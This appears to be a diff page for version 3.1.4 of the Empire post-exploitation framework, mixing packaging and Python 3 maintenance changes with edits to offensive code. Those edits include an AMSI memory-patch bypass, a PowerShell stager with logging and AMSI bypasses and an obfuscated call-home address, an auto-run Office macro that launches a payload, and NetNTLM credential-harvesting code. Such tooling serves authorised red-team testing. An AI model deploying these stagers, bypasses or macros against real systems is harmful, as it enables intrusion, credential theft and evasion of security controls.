New upstream version 3.1.4
Sophie Brun
4 years ago
43 | 43 | |
44 | 44 | Please see our [Releases](https://github.com/BC-SECURITY/Empire/releases) or [Changelog](/changelog) page for detailed release notes. |
45 | 45 | ## Install |
46 | As of Empire 3.1.0, Empire only officially supports Python 3. If you still need Python 2 support, please use the [3.0.x branch](https://github.com/BC-SECURITY/Empire/tree/3.0.x) or releases. Also consider using our [Prebuilt Docker containers](#Docker) which use Python 3. | |
46 | As of Empire 3.1.0, Empire only officially supports Python 3. If you still need Python 2 support, please use the [3.0.x branch](https://github.com/BC-SECURITY/Empire/tree/v3.0.7) or releases. Also consider using our [Prebuilt Docker containers](#Docker) which use Python 3. | |
47 | 47 | |
48 | 48 | __Note:__ Run ```./setup/reset.sh``` before starting Empire 3.1 for the first time. |
49 | 49 | ### Kali |
0 | 4/4/2020 | |
1 | ------------ | |
2 | - Version 3.1.4 Master Release | |
3 | - Fixed non-ascii filename download error - #141 (@tyraniter) | |
4 | - Updated payload evasion against Defender - #147 (@Hubbl3) | |
5 | - Added reset flag to empire launcher - #147 (@Cx01N) | |
6 | - Replaced imp package with importlib - #108 (@Cx01N) | |
7 | - Fixed internal monologue issue with only running once - #43 (@Cx01N) | |
8 | - Fixed ascii encode error in powerbreach modules - #150 (@CykuTW) | |
9 | ||
0 | 10 | 3/22/2020 |
1 | 11 | ------------ |
2 | 12 | - Version 3.1.3 Master Release |
3 | 13 | - Fixed errors with OneDrive listener - #40 (@Cx01N) |
4 | 14 | - Fixed REST API get config error - #131 (@chenxiangfang) |
5 | - Increased timer for stale agent checkins - #130 (@C01N) | |
15 | - Increased timer for stale agent checkins - #130 (@Cx01N) | |
6 | 16 | |
7 | 17 | 3/13/2020 |
8 | 18 | ------------ |
10 | 10 | import http.server |
11 | 11 | import zipfile |
12 | 12 | import io |
13 | import imp | |
13 | import importlib.util | |
14 | import types | |
14 | 15 | import re |
15 | 16 | import shutil |
16 | 17 | import pwd |
593 | 594 | def load_module(self, fullname): |
594 | 595 | submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) |
595 | 596 | code = compile(source, fullpath, 'exec') |
596 | mod = sys.modules.setdefault(fullname, imp.new_module(fullname)) | |
597 | mod = sys.modules.setdefault(fullname, types.ModuleType(fullname)) | |
597 | 598 | mod.__loader__ = self |
598 | 599 | mod.__file__ = fullpath |
599 | 600 | mod.__name__ = fullname |
488 | 488 | } |
489 | 489 | } |
490 | 490 | |
491 | ||
491 | if (authenticatedUsers.Count > 0) | |
492 | { | |
493 | authenticatedUsers.Clear(); | |
494 | } | |
492 | 495 | //Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated |
493 | 496 | if (IsElevated()) |
494 | 497 | { |
536 | 539 | //If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user |
537 | 540 | if (verbose == true) Console.WriteLine("Not elevated. Performing attack with current NTLM settings on current user"); |
538 | 541 | Console.WriteLine(InternalMonologueForCurrentUser(challenge)); |
539 | } | |
542 | } | |
540 | 543 | } |
541 | 544 | |
542 | 545 | //This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788 |
639 | 642 | { |
640 | 643 | result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + challenge + ":" + ByteArrayToString(nt_resp).Substring(0,32) + ":" + ByteArrayToString(nt_resp).Substring(32); |
641 | 644 | } |
642 | ||
645 | ||
643 | 646 | return result; |
644 | 647 | } |
645 | 648 | |
699 | 702 | |
700 | 703 | } |
701 | 704 | |
702 | return ascii; | |
705 | return ascii; | |
703 | 706 | } |
704 | 707 | } |
705 | 708 | |
887 | 890 | [Console]::SetOut($OldConsoleOut) |
888 | 891 | $Results = $StringWriter.ToString() |
889 | 892 | $Results |
890 | } | |
893 | }⏎ |
1445 | 1445 | |
1446 | 1446 | generalGroup = parser.add_argument_group('General Options') |
1447 | 1447 | generalGroup.add_argument('--debug', nargs='?', const='1', help='Debug level for output (default of 1, 2 for msg display).') |
1448 | generalGroup.add_argument('--reset-empire', action='store_true', help="Resets Empire's database to defaults.") | |
1448 | 1449 | generalGroup.add_argument('-v', '--version', action='store_true', help='Display current Empire version.') |
1449 | 1450 | generalGroup.add_argument('-r','--resource', nargs=1, help='Run the Empire commands in the specified resource file after startup.') |
1450 | 1451 | |
1472 | 1473 | if args.version: |
1473 | 1474 | print(empire.VERSION) |
1474 | 1475 | |
1476 | if args.reset_empire: | |
1477 | subprocess.call("./setup/reset.sh") | |
1478 | ||
1475 | 1479 | elif args.rest: |
1476 | 1480 | # start an Empire instance and RESTful API |
1477 | 1481 | main = empire.MainMenu(args=args) |
63 | 63 | [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); |
64 | 64 | $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); |
65 | 65 | |
66 | [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6) | |
66 | [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); | |
67 | 67 | """ |
68 | 68 | bypass = bypass.replace('"kernel32"', '`"kernel32`"') |
69 | 69 | bypass = bypass.replace('@"','"') |
14 | 14 | from builtins import str |
15 | 15 | from builtins import range |
16 | 16 | |
17 | VERSION = "3.1.3 BC-Security Fork" | |
17 | VERSION = "3.1.4 BC-Security Fork" | |
18 | 18 | |
19 | 19 | from pydispatch import dispatcher |
20 | 20 | |
537 | 537 | |
538 | 538 | def do_uselistener(self, line): |
539 | 539 | "Use an Empire listener module." |
540 | print("uselistener") | |
541 | 540 | parts = line.split(' ') |
542 | 541 | |
543 | 542 | if parts[0] not in self.listeners.loadedListeners: |
10 | 10 | from builtins import object |
11 | 11 | import sys |
12 | 12 | import fnmatch |
13 | import imp | |
13 | import importlib.util | |
14 | 14 | from . import helpers |
15 | 15 | import os |
16 | 16 | import pickle |
64 | 64 | listenerName = filePath.split("/lib/listeners/")[-1][0:-3] |
65 | 65 | |
66 | 66 | # instantiate the listener module and save it to the internal cache |
67 | self.loadedListeners[listenerName] = imp.load_source(listenerName, filePath).Listener(self.mainMenu, []) | |
68 | ||
67 | spec = importlib.util.spec_from_file_location(listenerName, filePath) | |
68 | mod = importlib.util.module_from_spec(spec) | |
69 | spec.loader.exec_module(mod) | |
70 | self.loadedListeners[listenerName] = mod.Listener(self.mainMenu, []) | |
69 | 71 | |
70 | 72 | def set_listener_option(self, listenerName, option, value): |
71 | 73 | """ |
11 | 11 | from builtins import object |
12 | 12 | import fnmatch |
13 | 13 | import os |
14 | import imp | |
14 | import importlib.util | |
15 | 15 | from . import messages |
16 | 16 | from . import helpers |
17 | 17 | |
59 | 59 | moduleName = "external/%s" %(moduleName) |
60 | 60 | |
61 | 61 | # instantiate the module and save it to the internal cache |
62 | self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, []) | |
63 | ||
62 | spec = importlib.util.spec_from_file_location(moduleName, filePath) | |
63 | mod = importlib.util.module_from_spec(spec) | |
64 | spec.loader.exec_module(mod) | |
65 | self.modules[moduleName] = mod.Module(self.mainMenu, []) | |
64 | 66 | |
65 | 67 | def reload_module(self, moduleToReload): |
66 | 68 | """ |
83 | 85 | # check to make sure we've found the specific module |
84 | 86 | if moduleName.lower() == moduleToReload.lower(): |
85 | 87 | # instantiate the module and save it to the internal cache |
86 | self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, []) | |
87 | ||
88 | spec = importlib.util.spec_from_file_location(moduleName, filePath) | |
89 | mod = importlib.util.module_from_spec(spec) | |
90 | spec.loader.exec_module(mod) | |
91 | self.modules[moduleName] = mod.Module(self.mainMenu, []) | |
88 | 92 | |
89 | 93 | def search_modules(self, searchTerm): |
90 | 94 | """ |
164 | 164 | totalPacket = struct.pack('=H', 1) |
165 | 165 | packetNum = struct.pack('=H', 1) |
166 | 166 | resultID = struct.pack('=H', resultID) |
167 | length = struct.pack('=L', len(data)) | |
167 | length = struct.pack('=L', len(data.encode("UTF-8"))) | |
168 | 168 | return taskType + totalPacket + packetNum + resultID + length + data.encode("UTF-8") |
169 | 169 | |
170 | 170 | def parse_result_packet(packet, offset=0): |
22 | 22 | from builtins import object |
23 | 23 | from past.utils import old_div |
24 | 24 | import fnmatch |
25 | import imp | |
25 | import importlib.util | |
26 | 26 | from . import helpers |
27 | 27 | import errno |
28 | 28 | import os |
72 | 72 | stagerName = filePath.split("/lib/stagers/")[-1][0:-3] |
73 | 73 | |
74 | 74 | # instantiate the module and save it to the internal cache |
75 | self.stagers[stagerName] = imp.load_source(stagerName, filePath).Stager(self.mainMenu, []) | |
75 | spec = importlib.util.spec_from_file_location(stagerName, filePath) | |
76 | mod = importlib.util.module_from_spec(spec) | |
77 | spec.loader.exec_module(mod) | |
78 | self.stagers[stagerName] = mod.Stager(self.mainMenu, []) | |
76 | 79 | |
77 | 80 | |
78 | 81 | def set_stager_option(self, option, value): |
318 | 318 | if safeChecks.lower() == 'true': |
319 | 319 | stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") |
320 | 320 | # ScriptBlock Logging bypass |
321 | if scriptLogBypass: | |
322 | stager += bypasses.scriptBlockLogBypass() | |
323 | # @mattifestation's AMSI bypass | |
324 | if AMSIBypass: | |
325 | stager += bypasses.AMSIBypass() | |
326 | # rastamouse AMSI bypass | |
327 | if AMSIBypass2: | |
328 | stager += bypasses.AMSIBypass2() | |
321 | if scriptLogBypass: | |
322 | stager += bypasses.scriptBlockLogBypass() | |
323 | # @mattifestation's AMSI bypass | |
324 | if AMSIBypass: | |
325 | stager += bypasses.AMSIBypass() | |
326 | # rastamouse AMSI bypass | |
327 | if AMSIBypass2: | |
328 | stager += bypasses.AMSIBypass2() | |
329 | if safeChecks.lower() == 'true': | |
329 | 330 | stager += "};" |
330 | 331 | stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") |
331 | ||
332 | ||
332 | 333 | stager += helpers.randomize_capitalization( |
333 | 334 | "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;") |
334 | 335 | if userAgent.lower() == 'default': |
338 | 339 | if 'https' in host: |
339 | 340 | # allow for self-signed certificates for https connections |
340 | 341 | stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" |
341 | ||
342 | stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';" | |
342 | 343 | if userAgent.lower() != 'none': |
343 | 344 | stager += helpers.randomize_capitalization( |
344 | 345 | "$" + helpers.generate_random_script_var_name("wc") + '.Headers.Add(') |
397 | 398 | routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', |
398 | 399 | meta='STAGE0', additional='None', encData='') |
399 | 400 | b64RoutingPacket = base64.b64encode(routingPacket) |
400 | stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';" | |
401 | ||
401 | 402 | # Add custom headers if any |
402 | 403 | if customHeaders != []: |
403 | 404 | for header in customHeaders: |
162 | 162 | return "" |
163 | 163 | else: |
164 | 164 | script = script.replace("REPLACE_LAUNCHER", stagerCode) |
165 | script = script.encode('ascii', 'ignore') | |
166 | ||
165 | ||
167 | 166 | for option,values in self.options.items(): |
168 | 167 | if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": |
169 | 168 | if values['Value'] and values['Value'] != '': |
137 | 137 | return "" |
138 | 138 | else: |
139 | 139 | script = script.replace("REPLACE_LAUNCHER", stagerCode) |
140 | script = script.encode('ascii', 'ignore') | |
141 | ||
140 | ||
142 | 141 | for option,values in self.options.items(): |
143 | 142 | if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": |
144 | 143 | if values['Value'] and values['Value'] != '': |
149 | 149 | return "" |
150 | 150 | else: |
151 | 151 | script = script.replace("REPLACE_LAUNCHER", stagerCode) |
152 | script = script.encode('ascii', 'ignore') | |
153 | 152 | |
154 | 153 | for option,values in self.options.items(): |
155 | 154 | if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": |
1989 | 1989 | return data |
1990 | 1990 | |
1991 | 1991 | cipher = triple_des(key, CBC, iv) |
1992 | # the line below is for pycrypto instead | |
1993 | #cipher = DES3.new( key, DES3.MODE_CBC, iv ) | |
1994 | 1992 | |
1995 | 1993 | plain = cipher.decrypt(data) |
1996 | 1994 |
169 | 169 | for chunk in chunks[1:]: |
170 | 170 | payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n" |
171 | 171 | |
172 | macro = "Sub Auto_Open()\n" | |
173 | macro += "\t"+Method+"\n" | |
174 | macro += "End Sub\n\n" | |
175 | macro += "Sub AutoOpen()\n" | |
176 | macro += "\t"+Method+"\n" | |
177 | macro += "End Sub\n\n" | |
178 | ||
179 | macro += "Sub Document_Open()\n" | |
172 | macro = "Sub AutoClose()\n" | |
180 | 173 | macro += "\t"+Method+"\n" |
181 | 174 | macro += "End Sub\n\n" |
182 | 175 | |
183 | 176 | macro += "Public Function "+Method+"() As Variant\n" |
184 | macro += "\tstrComputer = \".\"\n" | |
185 | macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n" | |
177 | ||
186 | 178 | if OutlookEvasionBool == True: |
187 | 179 | macro += "\tSet ID = objWMIService.ExecQuery(\"Select IdentifyingNumber from Win32_ComputerSystemproduct\")\n" |
188 | 180 | macro += "\tFor Each objItem In ID\n" |
195 | 187 | macro +="\tNext\n" |
196 | 188 | |
197 | 189 | macro += payload |
198 | macro += "\tConst HIDDEN_WINDOW = 0\n" | |
199 | ||
200 | macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n" | |
201 | macro += "\tSet objConfig = objStartup.SpawnInstance_\n" | |
202 | macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n" | |
203 | macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n" | |
204 | macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n" | |
190 | macro += "\tSet asd = CreateObject(\"WScript.Shell\")\n" | |
191 | macro += "\tasd.Run("+Str+")\n" | |
205 | 192 | macro += "End Function\n" |
206 | 193 | |
207 | 194 | return macro |
14 | 14 | cryptography |
15 | 15 | pyminifier |
16 | 16 | xlutils |
17 | pycrypto | |
18 | 17 | pefile |
19 | 18 | simplejson |
20 | 19 | bcrypt |
20 | pycrypto |